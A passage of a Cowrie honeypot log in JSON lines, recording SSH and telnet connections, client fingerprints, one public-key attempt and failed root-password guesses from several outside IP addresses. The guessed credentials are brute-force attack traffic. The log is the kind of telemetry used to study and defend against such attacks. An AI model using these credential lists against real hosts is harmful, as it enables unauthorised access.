a-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:41.881243Z","src_ip":"62.133.63.178","session":"8d19d7113980","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59592,"dst_ip":"10.17.0.5","dst_port":23,"session":"f757697e6284","protocol":"telnet","message":"New connection: 152.42.224.71:59592 (10.17.0.5:23) [session: f757697e6284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:41.898157Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"08051973god","message":"login attempt [root/08051973god] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:42.275586Z","src_ip":"62.133.63.178","session":"8d19d7113980","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59606,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8ee7401982d","protocol":"telnet","message":"New connection: 152.42.224.71:59606 (10.17.0.5:23) [session: a8ee7401982d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:42.438417Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:43.407118Z","src_ip":"62.133.63.178","session":"8d19d7113980","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59616,"dst_ip":"10.17.0.5","dst_port":23,"session":"69bed7e35b44","protocol":"telnet","message":"New connection: 152.42.224.71:59616 (10.17.0.5:23) [session: 69bed7e35b44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:45.429672Z"}
{"eventid":"cowrie.session.closed","duration":26.49895715713501,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:45.628803Z","src_ip":"152.42.224.71","session":"3ecb3e5a3d99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.236178398132324,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:48.272820Z","src_ip":"152.42.224.71","session":"6e89d40edcb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.83429741859436,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:52.252286Z","src_ip":"152.42.224.71","session":"bac314f0a747","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.54.176.203","src_port":33512,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa19ad06b262","protocol":"ssh","message":"New connection: 62.54.176.203:33512 (159.203.135.109:22) [session: fa19ad06b262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:53.419913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:53.428370Z","src_ip":"62.54.176.203","session":"fa19ad06b262","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:53.541721Z","src_ip":"62.54.176.203","session":"fa19ad06b262","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2029","message":"login attempt [root/2029] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:53.979623Z","src_ip":"62.54.176.203","session":"fa19ad06b262","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:55.091435Z","src_ip":"62.54.176.203","session":"fa19ad06b262","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.051141023635864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:57.604567Z","src_ip":"152.42.224.71","session":"62288c382efd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54492,"dst_ip":"10.17.0.5","dst_port":23,"session":"b78316e53aad","protocol":"telnet","message":"New connection: 152.42.224.71:54492 (10.17.0.5:23) [session: b78316e53aad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:00.359386Z"}
{"eventid":"cowrie.session.closed","duration":48.66538715362549,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:00.953170Z","src_ip":"152.42.224.71","session":"6c2b12425f87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":21.18029499053955,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:03.618635Z","src_ip":"152.42.224.71","session":"a8ee7401982d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33486,"dst_ip":"10.17.0.5","dst_port":23,"session":"310e7ff02a7a","protocol":"telnet","message":"New connection: 152.42.224.71:33486 (10.17.0.5:23) [session: 310e7ff02a7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:08.079944Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33498,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e8b6cb06f90","protocol":"telnet","message":"New connection: 152.42.224.71:33498 (10.17.0.5:23) [session: 7e8b6cb06f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:09.533624Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33512,"dst_ip":"10.17.0.5","dst_port":23,"session":"860648fc8b5e","protocol":"telnet","message":"New connection: 152.42.224.71:33512 (10.17.0.5:23) [session: 860648fc8b5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:11.089287Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33518,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b7ea29339a2","protocol":"telnet","message":"New connection: 152.42.224.71:33518 (10.17.0.5:23) [session: 8b7ea29339a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:14.357550Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46674,"dst_ip":"10.17.0.5","dst_port":23,"session":"0091192a347c","protocol":"telnet","message":"New connection: 152.42.224.71:46674 (10.17.0.5:23) [session: 0091192a347c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:15.961188Z"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":53374,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8f189e294b4","protocol":"ssh","message":"New connection: 13.71.92.229:53374 (10.17.0.5:22) [session: f8f189e294b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:20.286546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:20.292273Z","src_ip":"13.71.92.229","session":"f8f189e294b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:20.507672Z","src_ip":"13.71.92.229","session":"f8f189e294b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"scorpio","message":"login attempt [root/scorpio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:21.443273Z","src_ip":"13.71.92.229","session":"f8f189e294b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:22.665752Z","src_ip":"13.71.92.229","session":"f8f189e294b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.33937454223633,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:23.237436Z","src_ip":"152.42.224.71","session":"f757697e6284","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.250.100","src_port":41734,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3a036c370c7","protocol":"ssh","message":"New connection: 20.193.250.100:41734 (10.17.0.5:22) [session: e3a036c370c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:24.080281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:24.091168Z","src_ip":"20.193.250.100","session":"e3a036c370c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:24.290336Z","src_ip":"20.193.250.100","session":"e3a036c370c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:25.124359Z","src_ip":"20.193.250.100","session":"e3a036c370c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:26.327742Z","src_ip":"20.193.250.100","session":"e3a036c370c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38902,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce110ebbacf9","protocol":"telnet","message":"New connection: 152.42.224.71:38902 (10.17.0.5:23) [session: ce110ebbacf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:26.857085Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38918,"dst_ip":"10.17.0.5","dst_port":23,"session":"54f1888c8df4","protocol":"telnet","message":"New connection: 152.42.224.71:38918 (10.17.0.5:23) [session: 54f1888c8df4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:30.804749Z"}
{"eventid":"cowrie.session.closed","duration":119.05791401863098,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:39.052037Z","src_ip":"152.42.224.71","session":"c0adb12f5ae2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.049395322799683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:42.138562Z","src_ip":"152.42.224.71","session":"860648fc8b5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":33856,"dst_ip":"159.203.135.109","dst_port":22,"session":"3247cf43fa3c","protocol":"ssh","message":"New connection: 103.27.238.114:33856 (159.203.135.109:22) [session: 3247cf43fa3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:42.750240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:42.760620Z","src_ip":"103.27.238.114","session":"3247cf43fa3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:43.018473Z","src_ip":"103.27.238.114","session":"3247cf43fa3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43290,"dst_ip":"10.17.0.5","dst_port":23,"session":"401839d5a70f","protocol":"telnet","message":"New connection: 152.42.224.71:43290 (10.17.0.5:23) [session: 401839d5a70f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:43.416050Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"7777777a","message":"login attempt [root/7777777a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:43.785831Z","src_ip":"103.27.238.114","session":"3247cf43fa3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.64864182472229,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:44.078176Z","src_ip":"152.42.224.71","session":"69bed7e35b44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.14602494239807,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:44.505283Z","src_ip":"152.42.224.71","session":"b78316e53aad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:45.046113Z","src_ip":"103.27.238.114","session":"3247cf43fa3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.1473822593689,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:48.504833Z","src_ip":"152.42.224.71","session":"8b7ea29339a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39248,"dst_ip":"10.17.0.5","dst_port":23,"session":"984dba5c36b8","protocol":"telnet","message":"New connection: 152.42.224.71:39248 (10.17.0.5:23) [session: 984dba5c36b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:52.303504Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39252,"dst_ip":"10.17.0.5","dst_port":23,"session":"d24f8becef01","protocol":"telnet","message":"New connection: 152.42.224.71:39252 (10.17.0.5:23) [session: d24f8becef01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:54.982748Z"}
{"eventid":"cowrie.session.closed","duration":48.817824363708496,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:56.897644Z","src_ip":"152.42.224.71","session":"310e7ff02a7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.33.114","src_port":44328,"dst_ip":"10.17.0.5","dst_port":22,"session":"22af7ba8b6f6","protocol":"ssh","message":"New connection: 191.101.33.114:44328 (10.17.0.5:22) [session: 22af7ba8b6f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:57.428846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:57.439947Z","src_ip":"191.101.33.114","session":"22af7ba8b6f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:57.493420Z","src_ip":"191.101.33.114","session":"22af7ba8b6f6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b5:b2:0d:d2:67:20:e3:58:43:01:eb:16:58:1e:b3:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzZWYzSnPuYENhiccAcw7pt3TieMxBRHrafrBZ6e8QRGtIImFe382LhhrbZyLrR76Y+Cnic9WPv1Iulil0XKTDo9vuXAY/I5uuMy8eSDRoxYDwGBCDjyx0CDlwOHEj7EFeh3/SbhPJmSBo1wOaWzhnLGjq0aaTIra0p7KMNm1SvkdGHgpx8a6QokeUGKOiEgR/9Ifm+Su0UpfVMyzePeJVhfimlVoGglPgrwhoFrpwjY/egSIf+VORcrTKyl0v9w/AExPrh8PdAElBcAquKraRU1Q/YoHGsdS+ZTssXYvhHZP2G2HpCfulO/gFAETb3xEqyxCcBAX3tJXmv4lvS+yJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b5:b2:0d:d2:67:20:e3:58:43:01:eb:16:58:1e:b3:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:57.621152Z","src_ip":"191.101.33.114","session":"22af7ba8b6f6","protocol":"ssh"}
